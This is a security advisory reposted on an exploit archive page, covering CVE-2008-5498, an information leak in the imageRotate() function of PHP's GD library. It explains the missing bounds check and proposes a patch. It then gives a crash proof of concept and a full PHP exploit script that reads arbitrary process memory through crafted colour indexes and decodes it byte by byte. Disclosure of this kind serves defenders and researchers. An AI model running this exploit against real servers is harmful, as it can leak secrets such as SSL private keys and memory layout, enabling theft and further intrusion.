exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PHP GD Library Information Leak

PHP GD Library Information Leak
Posted Dec 31, 2008
Authored by Hamid Ebadi | Site bugtraq.ir

The PHP GD library suffers from an imageRotate() function information leak vulnerability.

tags | advisory, php
advisories | CVE-2008-5498
SHA-256 | 63a4f23ebaa22d5f4bb47dced105c74b50d8a00ff26e6126ba04d1a32f614fea

PHP GD Library Information Leak

Change Mirror Download
 
*
*
* PHP – gd library – imageRotate()function Information Leak Vulnerability

Discovered by: Hamid Ebadi,
Further research and exploit: Mohammad R. Roohian

CSIRT Team Members
Amirkabir University APA Laboratory

autcert@aut.ac.ir


Introduction
PHP is a popular web programming language which isnormally used as a script engine in the server side. PHP 5 which is compiledwith gd library, includes a function called imageRotate() for rotating an imageresource by giving the rotation angle. This function fills the resulted emptyareas with a given default coloring after rotation (clrBack).
Gd library works with both indexed images andtruecolor images. A truecolor pixel is a DWORD which stores the color value ofthe pixel which would be displayed without any change. In indexed mode by using an index with a sizeof no more than 1 byte, the data wouldbe fetched from a color palette which consists of parallel arrays of colorbytes. The gd library uses the same data strcture for both of these image types(gdImageStruct). An implementation error can cause information leakage from thememory of the PHP (or possible the web server) process.

Information leak vulnerabilities allow access toe.g. the Apache memory which might contain the private RSA key for the SSL cert.If an attacker is able to read it he can perform real man in the middle attackson all SSL connections. Aside from this in the days of ASLR, NX and canaryprotections it is often vital for the success of the exploit to know exactmemory addresses. (http://www.php-security.org/)

Vulnerableversion
PHP <= 5.2.8

Vulnerability
The imageRotate() function does not performany validation check on the clrBack parameter which is used as an indexfor the above mentioned arrays with the size of 255 in the index image type. Acorrect validation check for the indexed images could be:

file: php-x.y.z/ext/gd/libgd/gd.c

3129: gdImagePtr gdImageRotate (gdImagePtrsrc, double dAngle,
int clrBack, int ignoretransparent)
3130:{
3131: gdImagePtrpMidImg;
3132: gdImagePtrrotatedImg;
3133:
3134: if(src == NULL) {
3135: returnNULL;
3136: }
3137:+
3137:+ // Index check
3137:+ if (!src->truecolor)
3137:+ clrBack &= 0xff; // Just keep the first byte
3137:+
3138: if(!gdImageTrueColor(src) && clrBack>=gdImageColorsTotal(src)) {
3139: returnNULL;
3140: }

Whilerotating indexed image, gd retrives the final backcolor from 4 parallel arrays(red, green, blue and alpha) with length of 255 and uses clrBack as the indexof these arrays. By providing a special clrBack value (more than 255) we canread almost any address in php memory:

file: php-x.y.z/ext/gd/libgd/gd.h

typedef struct gdImageStruct {

--snip snip --

intred[gdMaxColors];
intgreen[gdMaxColors];
intblue[gdMaxColors];

--snip snip --

intalpha[gdMaxColors];
/*Truecolor flag and pixels. New 2.0 fields appear here at the
endto minimize breakage of existing object code. */
inttrueColor;

--snip snip --

} gdImage;

typedef gdImage * gdImagePtr;

then uses gdTrueColorAlpha macro to combinethe 4 mentioned values. gdTrueColorAlpha macro is implemented as following:

file: php-x.y.z/ext/gd/libgd/gd.h

#define gdTrueColorAlpha(r, g, b, a) (((a)<< 24) + \
((r)<< 16) + \
((g)<< 8) + \
(b))

The finalcolor value is the output of gdTrueColorAlpha macro which will be usedas background color. gdTrueColorAlpha uses '+' (add) instead of '&'(and). While the '+' operator is slower, it also causes a security issue. Byusing a reverse function we can calculate almost any desired memory address.

Proof of conceptThis script would cause a segmentation faultbecause -9999999 would result in reading an invalid memory address in PHPprocess:

<?php

$img = imagecreate(5,5);
$tmp = imagerotate ($img,5,-9999999);

?>
ExploitationWe need to provide a good clrBack to imageRotate()and then calculate the value of desired memory address by using imagecolorat()with arguments concerned with angles of the rotated image. Upper rightwould be a good spot (0, 0):

<?php
&special_index = /* index of the$address */
$r=imagecreate(300,300);
$gray = imagecolorallocate( $r,111,111,111);
imagefilledrectangle($r,0,0,300,300,$gray);
$tmp =imagerotate( $r, 30,&special_index );
imagePng( $tmp, "test.png" );
?>



To read encoded memory values from a desiredaddress, we have to use the followingscript:

<?php

$address = /*address to read should bemultiply of 4 */
$src = 0x84cde2c;
// depends on the image size and phpscript length but is constant
$index_b = -(int)(($src - $address +0x810)/4);

$img = imagecreate(5,5);
$tmp = imagerotate ($img,5,$index_b);
$f_b = imagecolorat( $tmp,0,0);

?>

Afterpassing $index_b as the index of arrays (red, green, blue and alphaarrays) and rotating $img (sothat the values from the memory would be read), b variable takes thevalue of $address.
The color at [0,0] would be filled by back color,thus $f_b has the return value of gdTrueColorAlpha function. All we need to do is decoding itsvalue. The final value of $f_b is calculated as following:
$f_b = gdTrueColorAlpha( M[$address-512],
M[$address-255],
M[$address+0],
M[$address+1034]);

These offsets [-512, -255, 0, 1034] are thedisplacements in gdImageStruct's arrays.

Decoding $f_bAs you can see in the source code $f_b iscalculated like this:



We haveused a special $index_b in order that b would have the value ofmemory address at $address. All we need to do is extracting bfrom $f_b. It is obvious that F1 has the exact value of B1( first byteof memory at $address location). To extract B2 we must have G1 valuesand use this equation: B2 = F2 – G1.
To calculate B3 and B4 we will also need G2, G3,R1, R2, A1. These bytes values can also be grabbed by using imagerotatefunction and sending special indexes other than $index_b. For moreinformation see the comments in exploit source code.

Exploit: <?php /*
edi = src
esi = clrBack (-205923 for core_globals safe mode ( 0x IF APR SM MQS) sample: 0x01 00 SM 00 )

(
zend_bool magic_quotes_sybase; MQS
zend_bool safe_mode; SM
zend_boolallow_call_time_pass_reference; APR
zend_bool implicit_flush; IF
)

0x080ed27f<php_gd_gdImageSkewX+1135>: mov 0x10(%edi,%esi,4),%ebx
mov ebx,[edi+esi*4+10]

test case:
edi = 0x084c6128
esi =0xffee07b1(-1177679) values less than this will crash.
=>
ebx = 0x8047ff6

if (a>127) {
a = 127;
}
:( since alphablending is on by default, the 32th bit of dumped address cant be detected.
*/
$debug = 0;
$address = hexdec($argv[1]);
$addressSave = $address;
$count = $argv[3]+1;
$mode = $argv[2];
$src = 0x84cde2c;
$s = 10; //imagesize

$GLOBALS["image"]=imagecreate($s,$s);
$r = $GLOBALS["image"];
if( $debug )
echo"Image created.\n";

function getDataFromImage( $index ) {
$tmp= imagerotate ($GLOBALS["image"],5,$index);
returnimagecolorat( $tmp, 0,0);
}

$eor = 0;
while( $address < $addressSave+$count*4 ) {
// indexes
$index_b= (int)(($src - $address + 0x810)/4);
$index_g= $index_b + 256;
$index_r= $index_b + 512;
$index_a= $index_b - 1034;
//$index_gG is the same as index ofr
$index_gR= $index_g + 512;
//$index_rG is the same as index ofgR
//$index_gGg is the same as index ofgR

// fuctions
$f_b= getDataFromImage( -$index_b );
$f_g= getDataFromImage( -$index_g );
$f_r= getDataFromImage( -$index_r );
$f_a= getDataFromImage( -$index_a );
$f_gR= getDataFromImage( -$index_gR );

/********************* Byte 1**********************/

// b byte 1
$byte_b1= $f_b & 0x000000ff;
if($debug )
printf("b:1-0x%x\n", $byte_b1 );

//g byte 1
$byte_g1= $f_g & 0x000000ff;
if($debug )
printf("g:1-0x%x\n", $byte_g1 );

//r byte 1
$byte_r1= $f_r& 0x000000ff;
if($debug )
printf("r:1-0x%x\n", $byte_r1 );

//a byte 1
$byte_a1= $f_a & 0x000000ff;
if($debug )
printf("a:1-0x%x\n\n", $byte_a1 );

/* Relative */

// gG byte 1
// this is relative g to `g`(suppose that 'g' is a b). so its right at the position of r.
$byte_gG1= $byte_r1;

// gR byte 1
// this is relative r to `g`( supposethat 'g' is a b)
$byte_gR1= $f_gR & 0x000000ff;

// rG byte 1
// this is relative g to r( supposethat 'r' is a b)
$byte_rG1= $byte_gR1;

/* 2 Level Relative */

// gGg byte 1
// this is relative g to `gG`(suppose that 'gG' is a b)
$byte_gGg1= $byte_gR1;

/********************* Byte 2 **********************/

// b byte 2
$sum_b2_g1= (($f_b & 0x0000ff00) >> 8 );
$byte_b2= $sum_b2_g1 - $byte_g1;
$borrow_b2= 0;
if($byte_b2 < 0 )
$borrow_b2= 1;
$byte_b2= $byte_b2 & 0x000000ff;
if($debug )
printf("b:2-0x%x \t0x%x\n", $byte_b2,$f_b );

// g byte 2
$sum_g2_gG1= (($f_g & 0x0000ff00) >> 8 );
$byte_g2= $sum_g2_gG1 - $byte_gG1;
$borrow_g2= 0;
if($byte_g2 < 0 )
$borrow_g2= 1;
$byte_g2= $byte_g2 & 0x000000ff;
if($debug )
printf("g:2-0x%x \t0x%x\n", $byte_g2,$f_gG1 );

// r byte 2
$sum_r2_rG1= (($f_r& 0x0000ff00) >> 8 );
$byte_r2= $sum_r2_rG1 - $byte_rG1;
$byte_r2= $byte_r2 & 0x000000ff;
if($debug )
printf("r:2-0x%x \t0x%x\n\n",$byte_r2, $sum_r2_rG1 );

/* Relative */

// gG byte 2
$byte_gG2= $byte_r2;

/********************* Byte 3 **********************/

// b byte 3
$sum_b3_g2_r1_br2= (($f_b & 0x00ff0000) >> 16);
$sum_b3_g2_r1= $sum_b3_g2_r1_br2 - $borrow_b2;
$sum_b3_g2= $sum_b3_g2_r1 - $byte_r1;
$byte_b3= $sum_b3_g2 - $byte_g2;
$borrow_b3= 0;
if($byte_b3 < 0 )
{
$borrow_b3= (int)(-$byte_b3 / 0xff) + 1; // for borrows more than one
if($debug )
printf("\nborrow was: %d\n" , $borrow_b3 );
}
$byte_b3= $byte_b3 & 0x000000ff;
if($debug )
printf("b:3-0x%x \t0x%x\n", $byte_b3,$sum_b3_g2 );

// g byte 3
$sum_g3_gG2_gR1_br2= (($f_g & 0x00ff0000) >> 16);
$sum_g3_gG2_gR1= $sum_g3_gG2_gR1_br2 - $borrow_g2;
$sum_g3_gG2= $sum_g3_gG2_gR1 - $byte_gR1;
$byte_g3= $sum_g3_gG2 - $byte_gG2;
$byte_g3= $byte_g3 & 0x000000ff;
if($debug ) {
printf("f_g: 0x%x\n" , $f_g);
printf("sum_g3_gG2_gR1_br2: 0x%x\n" , $sum_g3_gG2_gR1_br2 );
printf("sum_g3_gG2_gR1: 0x%x\n" , $sum_g3_gG2_gR1 );
printf("sum_g3_gG2: 0x%x\n" , $sum_g3_gG2 );
printf("g:3-0x%x \t0x%x\n\n",$byte_g3, $sum_b3_g2 );
}

/********************* Byte 4 **********************/

//b byte 4
$sum_b4_g3_r2_a1_br3= (($f_b & 0xff000000) >> 24);
$sum_b4_g3_r2_a1= $sum_b4_g3_r2_a1_br3 - $borrow_b3;
$sum_b4_g3_r2= $sum_b4_g3_r2_a1 - $byte_a1;
$sum_b4_g3= $sum_b4_g3_r2 - $byte_r2;
$byte_b4= $sum_b4_g3 - $byte_g3;
$byte_b4= $byte_b4 & 0x000000ff;
if($debug ) {
printf("f_b: 0x%x\n" , $f_b);
printf("sum_b4_g3_r2_a1_br3: 0x%x\n" , $sum_b4_g3_r2_a1_br3 );
printf("sum_b4_g3_r2_a1: 0x%x\n" , $sum_b4_g3_r2_a1 );
printf("sum_b4_g3_r2: 0x%x\n" , $sum_b4_g3_r2 );
printf("sum_b4_g3: 0x%x\n" , $sum_b4_g3 );
printf("b:4-0x%x\n\n", $byte_b4);
}
/********************* Byte **********************/

if($mode== 0) { //text mode
printf("%c%c%c%c", $byte_b1, $byte_b2, $byte_b3, $byte_b4);
}elseif( $mode == 1) {
// b
if(!$eor )
printf("0x%x:\t", $address );
printf("0x%x(%c)\t0x%x(%c)\t0x%x(%c)\t0x%x(%c)\t", $byte_b1, $byte_b1,
$byte_b2, $byte_b2,
$byte_b3, $byte_b3,
$byte_b4, $byte_b4 );

$eor= !$eor;
if(!$eor )
echo"\n";
}else {
$val= ($byte_b4 << 24) + ($byte_b3 << 16) + ($byte_b2 << 8) +$byte_b1;
printf("0x%x: 0x%x\n", $address, $val );
}
$address+=4;
}
?>



Credit
This vulnerability has been discovered by HamidEbadi from Amirkabir University of Technology APA laboratory.

Disclosure: October 2008
Report to vendor: December, 10, 2008

CVE Candidate Number: CVE-2008-5498


autcert@aut.ac.ir
https://www.ircert.cc

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close